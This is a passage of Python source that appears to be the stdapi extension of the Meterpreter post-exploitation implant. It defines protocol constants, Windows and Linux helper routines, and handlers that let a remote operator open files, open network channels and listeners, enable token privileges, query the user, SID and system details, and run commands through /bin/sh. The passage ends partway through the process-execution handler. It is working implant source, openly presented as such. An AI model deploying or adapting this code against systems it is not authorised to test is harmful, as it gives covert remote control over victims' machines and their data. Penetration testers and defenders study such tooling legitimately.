|
|
##
|
|
# Process
|
|
##
|
|
TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2000
|
|
TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001
|
|
TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002
|
|
TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003
|
|
TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004
|
|
TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2005
|
|
TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006
|
|
TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007
|
|
TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008
|
|
TLV_TYPE_PID = TLV_META_TYPE_UINT | 2300
|
|
TLV_TYPE_PROCESS_NAME = TLV_META_TYPE_STRING | 2301
|
|
TLV_TYPE_PROCESS_PATH = TLV_META_TYPE_STRING | 2302
|
|
TLV_TYPE_PROCESS_GROUP = TLV_META_TYPE_GROUP | 2303
|
|
TLV_TYPE_PROCESS_FLAGS = TLV_META_TYPE_UINT | 2304
|
|
TLV_TYPE_PROCESS_ARGUMENTS = TLV_META_TYPE_STRING | 2305
|
|
TLV_TYPE_PROCESS_ARCH = TLV_META_TYPE_UINT | 2306
|
|
TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307
|
|
|
|
TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400
|
|
TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401
|
|
TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402
|
|
TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403
|
|
TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404
|
|
TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405
|
|
TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406
|
|
|
|
TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500
|
|
TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502
|
|
TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510
|
|
TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_QWORD | 2511
|
|
TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_QWORD | 2512
|
|
TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513
|
|
|
|
TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540
|
|
TLV_TYPE_REGISTER_SIZE = TLV_META_TYPE_UINT | 2541
|
|
TLV_TYPE_REGISTER_VALUE_32 = TLV_META_TYPE_UINT | 2542
|
|
TLV_TYPE_REGISTER = TLV_META_TYPE_GROUP | 2550
|
|
|
|
TLV_TYPE_TERMINAL_ROWS = TLV_META_TYPE_UINT | 2600
|
|
TLV_TYPE_TERMINAL_COLUMNS = TLV_META_TYPE_UINT | 2601
|
|
|
|
##
|
|
# Ui
|
|
##
|
|
TLV_TYPE_IDLE_TIME = TLV_META_TYPE_UINT | 3000
|
|
TLV_TYPE_KEYS_DUMP = TLV_META_TYPE_STRING | 3001
|
|
TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002
|
|
|
|
##
|
|
# Event Log
|
|
##
|
|
TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000
|
|
TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_QWORD | 4001
|
|
TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002
|
|
|
|
TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003
|
|
TLV_TYPE_EVENT_RECORDOFFSET = TLV_META_TYPE_UINT | 4004
|
|
|
|
TLV_TYPE_EVENT_RECORDNUMBER = TLV_META_TYPE_UINT | 4006
|
|
TLV_TYPE_EVENT_TIMEGENERATED = TLV_META_TYPE_UINT | 4007
|
|
TLV_TYPE_EVENT_TIMEWRITTEN = TLV_META_TYPE_UINT | 4008
|
|
TLV_TYPE_EVENT_ID = TLV_META_TYPE_UINT | 4009
|
|
TLV_TYPE_EVENT_TYPE = TLV_META_TYPE_UINT | 4010
|
|
TLV_TYPE_EVENT_CATEGORY = TLV_META_TYPE_UINT | 4011
|
|
TLV_TYPE_EVENT_STRING = TLV_META_TYPE_STRING | 4012
|
|
TLV_TYPE_EVENT_DATA = TLV_META_TYPE_RAW | 4013
|
|
|
|
##
|
|
# Power
|
|
##
|
|
TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100
|
|
TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101
|
|
|
|
##
|
|
# Sys
|
|
##
|
|
PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0)
|
|
PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1)
|
|
PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2)
|
|
PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3)
|
|
PROCESS_EXECUTE_FLAG_SUBSHELL = (1 << 6)
|
|
PROCESS_EXECUTE_FLAG_PTY = (1 << 7)
|
|
|
|
PROCESS_ARCH_UNKNOWN = 0
|
|
PROCESS_ARCH_X86 = 1
|
|
PROCESS_ARCH_X64 = 2
|
|
PROCESS_ARCH_IA64 = 3
|
|
|
|
##
|
|
# Errors
|
|
##
|
|
ERROR_SUCCESS = 0
|
|
# not defined in original C implementation
|
|
ERROR_FAILURE = 1
|
|
|
|
# Special return value to match up with Windows error codes for network
|
|
# errors.
|
|
ERROR_CONNECTION_ERROR = 10000
|
|
|
|
# Windows Constants
|
|
GAA_FLAG_SKIP_ANYCAST = 0x0002
|
|
GAA_FLAG_SKIP_MULTICAST = 0x0004
|
|
GAA_FLAG_INCLUDE_PREFIX = 0x0010
|
|
GAA_FLAG_SKIP_DNS_SERVER = 0x0080
|
|
LOCALE_SISO639LANGNAME = 0x0059
|
|
LOCALE_SISO3166CTRYNAME = 0x005A
|
|
PROCESS_TERMINATE = 0x0001
|
|
PROCESS_VM_READ = 0x0010
|
|
PROCESS_QUERY_INFORMATION = 0x0400
|
|
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
|
|
VER_NT_WORKSTATION = 0x0001
|
|
VER_NT_DOMAIN_CONTROLLER = 0x0002
|
|
VER_NT_SERVER = 0x0003
|
|
VER_PLATFORM_WIN32s = 0x0000
|
|
VER_PLATFORM_WIN32_WINDOWS = 0x0001
|
|
VER_PLATFORM_WIN32_NT = 0x0002
|
|
|
|
WIN_AF_INET = 2
|
|
WIN_AF_INET6 = 23
|
|
|
|
UNIVERSAL_NAME_INFO_LEVEL = 1
|
|
|
|
DRIVE_REMOTE = 4
|
|
|
|
# Linux Constants
|
|
RT_TABLE_MAIN = 254
|
|
RTA_UNSPEC = 0
|
|
RTA_DST = 1
|
|
RTA_SRC = 2
|
|
RTA_IIF = 3
|
|
RTA_OIF = 4
|
|
RTA_GATEWAY = 5
|
|
RTA_PRIORITY = 6
|
|
RTA_PREFSRC = 7
|
|
RTA_METRICS = 8
|
|
RTA_MULTIPATH = 9
|
|
RTA_PROTOINFO = 10 #/* no longer used */
|
|
RTA_FLOW = 11
|
|
RTA_CACHEINFO = 12
|
|
RTA_SESSION = 13 #/* no longer used */
|
|
RTA_MP_ALGO = 14 #/* no longer used */
|
|
RTA_TABLE = 15
|
|
RTM_GETLINK = 18
|
|
RTM_GETADDR = 22
|
|
RTM_GETROUTE = 26
|
|
|
|
IFLA_ADDRESS = 1
|
|
IFLA_BROADCAST = 2
|
|
IFLA_IFNAME = 3
|
|
IFLA_MTU = 4
|
|
|
|
IFA_ADDRESS = 1
|
|
IFA_LABEL = 3
|
|
|
|
meterpreter.register_extension('stdapi')
|
|
|
|
# Meterpreter register function decorators
|
|
register_function = meterpreter.register_function
|
|
def register_function_if(condition):
|
|
if condition:
|
|
return meterpreter.register_function
|
|
else:
|
|
return lambda function: function
|
|
|
|
def byref_at(obj, offset=0):
|
|
address = ctypes.addressof(obj) + offset
|
|
return ctypes.pointer(type(obj).from_address(address))
|
|
|
|
def bytes_to_ctarray(bytes_):
|
|
ctarray = (ctypes.c_byte * len(bytes_))()
|
|
ctypes.memmove(ctypes.byref(ctarray), bytes_, len(bytes_))
|
|
return ctarray
|
|
|
|
def calculate_32bit_netmask(bits):
|
|
if bits == 32:
|
|
netmask = 0xffffffff
|
|
else:
|
|
netmask = ((0xffffffff << (32 - (bits % 32))) & 0xffffffff)
|
|
return struct.pack('!I', netmask)
|
|
|
|
def calculate_128bit_netmask(bits):
|
|
part = calculate_32bit_netmask(bits)
|
|
part = struct.unpack('!I', part)[0]
|
|
if bits >= 96:
|
|
netmask = struct.pack('!iiiI', -1, -1, -1, part)
|
|
elif bits >= 64:
|
|
netmask = struct.pack('!iiII', -1, -1, part, 0)
|
|
elif bits >= 32:
|
|
netmask = struct.pack('!iIII', -1, part, 0, 0)
|
|
else:
|
|
netmask = struct.pack('!IIII', part, 0, 0, 0)
|
|
return netmask
|
|
|
|
def ctarray_to_bytes(ctarray):
|
|
if not len(ctarray):
|
|
# work around a bug in v3.1 & v3.2 that results in a segfault when len(ctarray) == 0
|
|
return bytes()
|
|
bytes_ = buffer(ctarray) if sys.version_info[0] < 3 else bytes(ctarray)
|
|
return bytes_[:]
|
|
|
|
def ctstruct_pack(structure):
|
|
return ctypes.string_at(ctypes.byref(structure), ctypes.sizeof(structure))
|
|
|
|
def ctstruct_unpack(structure, raw_data):
|
|
if not isinstance(structure, ctypes.Structure):
|
|
structure = structure()
|
|
ctypes.memmove(ctypes.byref(structure), raw_data, ctypes.sizeof(structure))
|
|
return structure
|
|
|
|
def get_stat_buffer(path):
|
|
si = os.stat(path)
|
|
rdev = 0
|
|
if hasattr(si, 'st_rdev'):
|
|
rdev = si.st_rdev
|
|
st_buf = struct.pack('<III', int(si.st_dev), int(si.st_mode), int(si.st_nlink))
|
|
st_buf += struct.pack('<IIIQ', int(si.st_uid), int(si.st_gid), int(rdev), long(si.st_ino))
|
|
st_buf += struct.pack('<QQQQ', long(si.st_size), long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
|
|
return st_buf
|
|
|
|
def get_token_user(handle):
|
|
TOKEN_QUERY = 0x0008
|
|
TokenUser = 1
|
|
advapi32 = ctypes.windll.advapi32
|
|
advapi32.OpenProcessToken.argtypes = [ctypes.c_void_p, ctypes.c_uint32, ctypes.POINTER(ctypes.c_void_p)]
|
|
|
|
token_handle = ctypes.c_void_p()
|
|
if not advapi32.OpenProcessToken(handle, TOKEN_QUERY, ctypes.byref(token_handle)):
|
|
return None
|
|
token_user_buffer = (ctypes.c_byte * 4096)()
|
|
dw_returned = ctypes.c_uint32()
|
|
result = advapi32.GetTokenInformation(token_handle, TokenUser, ctypes.byref(token_user_buffer), ctypes.sizeof(token_user_buffer), ctypes.byref(dw_returned))
|
|
ctypes.windll.kernel32.CloseHandle(token_handle)
|
|
if not result:
|
|
return None
|
|
return ctstruct_unpack(TOKEN_USER, token_user_buffer)
|
|
|
|
def get_username_from_token(token_user):
|
|
user = (ctypes.c_char * 512)()
|
|
domain = (ctypes.c_char * 512)()
|
|
user_len = ctypes.c_uint32()
|
|
user_len.value = ctypes.sizeof(user)
|
|
domain_len = ctypes.c_uint32()
|
|
domain_len.value = ctypes.sizeof(domain)
|
|
use = ctypes.c_ulong()
|
|
use.value = 0
|
|
LookupAccountSid = ctypes.windll.advapi32.LookupAccountSidA
|
|
LookupAccountSid.argtypes = [ctypes.c_void_p] * 7
|
|
if not LookupAccountSid(None, token_user.User.Sid, user, ctypes.byref(user_len), domain, ctypes.byref(domain_len), ctypes.byref(use)):
|
|
return None
|
|
return str(ctypes.string_at(domain)) + '\\' + str(ctypes.string_at(user))
|
|
|
|
def get_windll_lang():
|
|
if not hasattr(ctypes.windll.kernel32, 'GetSystemDefaultLangID'):
|
|
return None
|
|
kernel32 = ctypes.windll.kernel32
|
|
kernel32.GetSystemDefaultLangID.restype = ctypes.c_uint16
|
|
lang_id = kernel32.GetSystemDefaultLangID()
|
|
|
|
size = kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO3166CTRYNAME, 0, 0)
|
|
ctry_name = (ctypes.c_wchar * size)()
|
|
kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO3166CTRYNAME, ctry_name, size)
|
|
|
|
size = kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO639LANGNAME, 0, 0)
|
|
lang_name = (ctypes.c_wchar * size)()
|
|
kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO639LANGNAME, lang_name, size)
|
|
|
|
if not (len(ctry_name.value) and len(lang_name)):
|
|
return 'Unknown'
|
|
return lang_name.value + '_' + ctry_name.value
|
|
|
|
def get_windll_os_name():
|
|
os_info = windll_RtlGetVersion()
|
|
if not os_info:
|
|
return None
|
|
is_workstation = os_info.wProductType == VER_NT_WORKSTATION
|
|
os_name = None
|
|
if os_info.dwMajorVersion == 3:
|
|
os_name = 'NT 3.51'
|
|
elif os_info.dwMajorVersion == 4:
|
|
if os_info.dwMinorVersion == 0 and os_info.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS:
|
|
os_name = '95'
|
|
elif os_info.dwMinorVersion == 10:
|
|
os_name = '98'
|
|
elif os_info.dwMinorVersion == 90:
|
|
os_name = 'ME'
|
|
elif os_info.dwMinorVersion == 0 and os_info.dwPlatformId == VER_PLATFORM_WIN32_NT:
|
|
os_name = 'NT 4.0'
|
|
elif os_info.dwMajorVersion == 5:
|
|
if os_info.dwMinorVersion == 0:
|
|
os_name = '2000'
|
|
elif os_info.dwMinorVersion == 1:
|
|
os_name = 'XP'
|
|
elif os_info.dwMinorVersion == 2:
|
|
os_name = '.NET Server'
|
|
elif os_info.dwMajorVersion == 6:
|
|
if os_info.dwMinorVersion == 0:
|
|
os_name = ('Vista' if is_workstation else '2008')
|
|
elif os_info.dwMinorVersion == 1:
|
|
os_name = ('7' if is_workstation else '2008 R2')
|
|
elif os_info.dwMinorVersion == 2:
|
|
os_name = ('8' if is_workstation else '2012')
|
|
elif os_info.dwMinorVersion == 3:
|
|
os_name = ('8.1' if is_workstation else '2012 R2')
|
|
elif os_info.dwMajorVersion == 10:
|
|
if os_info.dwMinorVersion == 0:
|
|
os_name = ('10' if is_workstation else '2016')
|
|
|
|
if not os_name:
|
|
os_name = 'Unknown'
|
|
os_name = 'Windows ' + os_name
|
|
if os_info.szCSDVersion:
|
|
os_name += ' (Build ' + str(os_info.dwBuildNumber) + ', ' + os_info.szCSDVersion + ')'
|
|
else:
|
|
os_name += ' (Build ' + str(os_info.dwBuildNumber) + ')'
|
|
return os_name
|
|
|
|
def getaddrinfo(host, port=0, family=0, socktype=0, proto=0, flags=0):
|
|
addresses = []
|
|
for info in socket.getaddrinfo(host, port, family, socktype, proto, flags):
|
|
addresses.append({
|
|
'family': info[0],
|
|
'socktype': info[1],
|
|
'proto': info[2],
|
|
'cannonname': info[3],
|
|
'sockaddr': info[4]
|
|
})
|
|
return addresses
|
|
|
|
def getaddrinfo_from_request(request, socktype, proto):
|
|
peer_host = packet_get_tlv(request, TLV_TYPE_PEER_HOST).get('value')
|
|
if peer_host:
|
|
peer_port = packet_get_tlv(request, TLV_TYPE_PEER_PORT).get('value', 0)
|
|
peer_address_info = getaddrinfo(peer_host, peer_port, socktype=socktype, proto=proto)
|
|
peer_address_info = peer_address_info[0] if peer_address_info else None
|
|
else:
|
|
peer_address_info = None
|
|
|
|
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value')
|
|
if local_host:
|
|
local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT).get('value', 0)
|
|
local_address_info = getaddrinfo(local_host, local_port, socktype=socktype, proto=proto)
|
|
local_address_info = local_address_info[0] if local_address_info else None
|
|
else:
|
|
local_address_info = None
|
|
return peer_address_info, local_address_info
|
|
|
|
def netlink_request(req_type, req_data):
|
|
# See RFC 3549
|
|
NLM_F_REQUEST = 0x0001
|
|
NLM_F_ROOT = 0x0100
|
|
NLM_F_MATCH = 0x0200
|
|
NLM_F_DUMP = NLM_F_ROOT | NLM_F_MATCH
|
|
NLMSG_ERROR = 0x0002
|
|
NLMSG_DONE = 0x0003
|
|
|
|
sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, socket.NETLINK_ROUTE)
|
|
sock.bind((os.getpid(), 0))
|
|
seq = int(time.time())
|
|
if isinstance(req_data, ctypes.Structure):
|
|
req_data = ctstruct_pack(req_data)
|
|
nlmsg = ctstruct_pack(NLMSGHDR(len=ctypes.sizeof(NLMSGHDR) + len(req_data), type=req_type, flags=(NLM_F_REQUEST | NLM_F_DUMP), seq=seq, pid=0))
|
|
sock.send(nlmsg + req_data)
|
|
responses = []
|
|
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
|
|
return responses
|
|
raw_response_data = sock.recv(0xfffff)
|
|
response = ctstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
|
|
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
|
|
while response.type != NLMSG_DONE:
|
|
if response.type == NLMSG_ERROR:
|
|
debug_print('received NLMSG_ERROR from a netlink request')
|
|
break
|
|
response_data = raw_response_data[:(response.len - 16)]
|
|
responses.append(response_data)
|
|
raw_response_data = raw_response_data[len(response_data):]
|
|
if not len(raw_response_data):
|
|
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
|
|
break
|
|
raw_response_data = sock.recv(0xfffff)
|
|
response = ctstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
|
|
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
|
|
sock.close()
|
|
return responses
|
|
|
|
def resolve_host(hostname, family):
|
|
address_info = getaddrinfo(hostname, family=family, socktype=socket.SOCK_DGRAM, proto=socket.IPPROTO_UDP)
|
|
address = address_info[0]['sockaddr'][0]
|
|
return {'family': family, 'address': address, 'packed_address': inet_pton(family, address)}
|
|
|
|
def tlv_pack_local_addrinfo(sock):
|
|
local_host, local_port = sock.getsockname()[:2]
|
|
return tlv_pack(TLV_TYPE_LOCAL_HOST, local_host) + tlv_pack(TLV_TYPE_LOCAL_PORT, local_port)
|
|
|
|
def windll_RtlGetVersion():
|
|
if not has_windll:
|
|
return None
|
|
os_info = OSVERSIONINFOEXW()
|
|
os_info.dwOSVersionInfoSize = ctypes.sizeof(OSVERSIONINFOEXW)
|
|
if ctypes.windll.ntdll.RtlGetVersion(ctypes.byref(os_info)) != 0:
|
|
return None
|
|
return os_info
|
|
|
|
def windll_GetNativeSystemInfo():
|
|
if not has_windll:
|
|
return None
|
|
sysinfo = SYSTEM_INFO()
|
|
ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
|
|
return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)
|
|
|
|
def windll_GetVersion():
|
|
if not has_windll:
|
|
return None
|
|
dwVersion = ctypes.windll.kernel32.GetVersion()
|
|
dwMajorVersion = (dwVersion & 0x000000ff)
|
|
dwMinorVersion = ((dwVersion & 0x0000ff00) >> 8)
|
|
dwBuild = ((dwVersion & 0xffff0000) >> 16)
|
|
return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild))
|
|
|
|
def enable_privilege(name, enable=True):
|
|
TOKEN_ALL_ACCESS = 0xf01ff
|
|
SE_PRIVILEGE_ENABLED = 0x00000002
|
|
|
|
GetCurrentProcess = ctypes.windll.kernel32.GetCurrentProcess
|
|
GetCurrentProcess.restype = ctypes.c_void_p
|
|
|
|
OpenProcessToken = ctypes.windll.advapi32.OpenProcessToken
|
|
OpenProcessToken.argtypes = [ctypes.c_void_p, ctypes.c_uint32, ctypes.POINTER(ctypes.c_void_p)]
|
|
OpenProcessToken.restype = ctypes.c_bool
|
|
|
|
LookupPrivilegeValue = ctypes.windll.advapi32.LookupPrivilegeValueW
|
|
LookupPrivilegeValue.argtypes = [ctypes.c_wchar_p, ctypes.c_wchar_p, ctypes.POINTER(LUID)]
|
|
LookupPrivilegeValue.restype = ctypes.c_bool
|
|
|
|
AdjustTokenPrivileges = ctypes.windll.advapi32.AdjustTokenPrivileges
|
|
AdjustTokenPrivileges.argtypes = [ctypes.c_void_p, ctypes.c_bool, PTOKEN_PRIVILEGES, ctypes.c_uint32, PTOKEN_PRIVILEGES, ctypes.POINTER(ctypes.c_uint32)]
|
|
AdjustTokenPrivileges.restype = ctypes.c_bool
|
|
|
|
token = ctypes.c_void_p()
|
|
success = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token)
|
|
if not success:
|
|
return False
|
|
|
|
luid = LUID()
|
|
name = ctypes.create_unicode_buffer(name)
|
|
success = LookupPrivilegeValue(None, name, luid)
|
|
if not success:
|
|
return False
|
|
|
|
size = ctypes.sizeof(TOKEN_PRIVILEGES)
|
|
size += ctypes.sizeof(LUID_AND_ATTRIBUTES)
|
|
buffer = ctypes.create_string_buffer(size)
|
|
tokenPrivileges = ctypes.cast(buffer, PTOKEN_PRIVILEGES).contents
|
|
tokenPrivileges.PrivilegeCount = 1
|
|
tokenPrivileges.get_array()[0].Luid = luid
|
|
tokenPrivileges.get_array()[0].Attributes = SE_PRIVILEGE_ENABLED if enable else 0
|
|
return AdjustTokenPrivileges(token, False, tokenPrivileges, 0, None, None)
|
|
|
|
@register_function
|
|
def channel_open_stdapi_fs_file(request, response):
|
|
fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
|
|
if fmode:
|
|
fmode = fmode['value']
|
|
fmode = fmode.replace('bb', 'b')
|
|
else:
|
|
fmode = 'rb'
|
|
file_h = open(unicode(fpath), fmode)
|
|
channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
|
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def channel_open_stdapi_net_tcp_client(request, response):
|
|
peer_address_info, local_address_info = getaddrinfo_from_request(request, socktype=socket.SOCK_STREAM, proto=socket.IPPROTO_TCP)
|
|
retries = packet_get_tlv(request, TLV_TYPE_CONNECT_RETRIES).get('value', 1)
|
|
if not peer_address_info:
|
|
return ERROR_CONNECTION_ERROR, response
|
|
connected = False
|
|
for _ in range(retries + 1):
|
|
sock = socket.socket(peer_address_info['family'], peer_address_info['socktype'], peer_address_info['proto'])
|
|
sock.settimeout(3.0)
|
|
if local_address_info:
|
|
sock.bind(local_address_info['sockaddr'])
|
|
try:
|
|
sock.connect(peer_address_info['sockaddr'])
|
|
connected = True
|
|
break
|
|
except:
|
|
pass
|
|
if not connected:
|
|
return ERROR_CONNECTION_ERROR, response
|
|
channel_id = meterpreter.add_channel(MeterpreterSocketTCPClient(sock))
|
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
|
response += tlv_pack_local_addrinfo(sock)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def channel_open_stdapi_net_tcp_server(request, response):
|
|
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0')
|
|
local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)['value']
|
|
local_address_info = getaddrinfo(local_host, local_port, socktype=socket.SOCK_STREAM, proto=socket.IPPROTO_TCP)
|
|
if not local_address_info:
|
|
return ERROR_FAILURE, response
|
|
local_address_info = local_address_info[0]
|
|
server_sock = socket.socket(local_address_info['family'], local_address_info['socktype'], local_address_info['proto'])
|
|
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
|
if local_address_info['family'] == socket.AF_INET6 and hasattr(socket, 'IPV6_V6ONLY'):
|
|
server_sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
|
|
server_sock.bind(local_address_info['sockaddr'])
|
|
server_sock.listen(socket.SOMAXCONN)
|
|
channel_id = meterpreter.add_channel(MeterpreterSocketTCPServer(server_sock))
|
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
|
response += tlv_pack_local_addrinfo(server_sock)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def channel_open_stdapi_net_udp_client(request, response):
|
|
peer_address_info, local_address_info = getaddrinfo_from_request(request, socktype=socket.SOCK_DGRAM, proto=socket.IPPROTO_UDP)
|
|
if not local_address_info:
|
|
return ERROR_FAILURE, response
|
|
sock = socket.socket(local_address_info['family'], local_address_info['socktype'], local_address_info['proto'])
|
|
sock.bind(local_address_info['sockaddr'])
|
|
peer_address = peer_address_info['sockaddr'] if peer_address_info else None
|
|
channel_id = meterpreter.add_channel(MeterpreterSocketUDPClient(sock, peer_address))
|
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
|
response += tlv_pack_local_addrinfo(sock)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_sys_config_getenv(request, response):
|
|
for env_var in packet_enum_tlvs(request, TLV_TYPE_ENV_VARIABLE):
|
|
pgroup = bytes()
|
|
env_var = env_var['value']
|
|
env_var = env_var.replace('%', '')
|
|
env_var = env_var.replace('$', '')
|
|
env_val = os.environ.get(env_var)
|
|
if env_val:
|
|
pgroup += tlv_pack(TLV_TYPE_ENV_VARIABLE, env_var)
|
|
pgroup += tlv_pack(TLV_TYPE_ENV_VALUE, env_val)
|
|
response += tlv_pack(TLV_TYPE_ENV_GROUP, pgroup)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_sys_config_getsid(request, response):
|
|
token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
|
|
if not token:
|
|
return error_result_windows(), response
|
|
sid_str = ctypes.c_char_p()
|
|
ConvertSidToStringSid = ctypes.windll.advapi32.ConvertSidToStringSidA
|
|
ConvertSidToStringSid.argtypes = [ctypes.c_void_p, ctypes.c_void_p]
|
|
if not ConvertSidToStringSid(token.User.Sid, ctypes.byref(sid_str)):
|
|
return error_result_windows(), response
|
|
sid_str = str(ctypes.string_at(sid_str))
|
|
response += tlv_pack(TLV_TYPE_SID, sid_str)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_sys_config_getuid(request, response):
|
|
if has_pwd:
|
|
username = pwd.getpwuid(os.getuid()).pw_name
|
|
elif has_windll:
|
|
token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
|
|
if not token:
|
|
return error_result_windows(), response
|
|
username = get_username_from_token(token)
|
|
if not username:
|
|
return error_result_windows(), response
|
|
else:
|
|
username = getpass.getuser()
|
|
response += tlv_pack(TLV_TYPE_USER_NAME, username)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_sys_config_localtime(request, response):
|
|
localtime = time.strftime("%Y-%m-%d %H:%M:%S %Z", time.localtime())
|
|
direction = "-" if time.timezone > 0 else "+"
|
|
localtime += " (UTC{0}{1})".format(direction, int(abs(time.timezone / 36)))
|
|
response += tlv_pack(TLV_TYPE_LOCAL_DATETIME, localtime)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_sys_config_sysinfo(request, response):
|
|
uname_info = platform.uname()
|
|
response += tlv_pack(TLV_TYPE_COMPUTER_NAME, uname_info[1])
|
|
os_name = uname_info[0] + ' ' + uname_info[2] + ' ' + uname_info[3]
|
|
lang = None
|
|
if 'LANG' in os.environ:
|
|
lang = os.environ['LANG'].split('.', 1)[0]
|
|
if has_windll:
|
|
os_name = get_windll_os_name() or os_name
|
|
lang = (get_windll_lang() or lang)
|
|
if lang:
|
|
response += tlv_pack(TLV_TYPE_LANG_SYSTEM, lang)
|
|
response += tlv_pack(TLV_TYPE_OS_NAME, os_name)
|
|
response += tlv_pack(TLV_TYPE_ARCHITECTURE, get_system_arch())
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_sys_process_close(request, response):
|
|
proc_h_id = packet_get_tlv(request, TLV_TYPE_HANDLE)
|
|
if not proc_h_id:
|
|
return ERROR_SUCCESS, response
|
|
proc_h_id = proc_h_id['value']
|
|
if proc_h_id in meterpreter.processes:
|
|
del meterpreter.processes[proc_h_id]
|
|
if not meterpreter.close_channel(proc_h_id):
|
|
return ERROR_FAILURE, response
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_sys_process_execute(request, response):
|
|
cmd = packet_get_tlv(request, TLV_TYPE_PROCESS_PATH)['value']
|
|
raw_args = packet_get_tlv(request, TLV_TYPE_PROCESS_ARGUMENTS)
|
|
if raw_args:
|
|
raw_args = raw_args['value']
|
|
else:
|
|
raw_args = ""
|
|
flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value']
|
|
if len(cmd) == 0:
|
|
return ERROR_FAILURE, response
|
|
if os.path.isfile('/bin/sh') and (flags & PROCESS_EXECUTE_FLAG_SUBSHELL):
|
|
if raw_args:
|
|
cmd = cmd + ' ' + raw_args
|
|
args = ['/bin/sh', '-c', cmd]
|
|
else:
|
|
args = [cmd]
|
|
args.extend(shlex.split(raw_args))
|
|
|
|
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
|
|
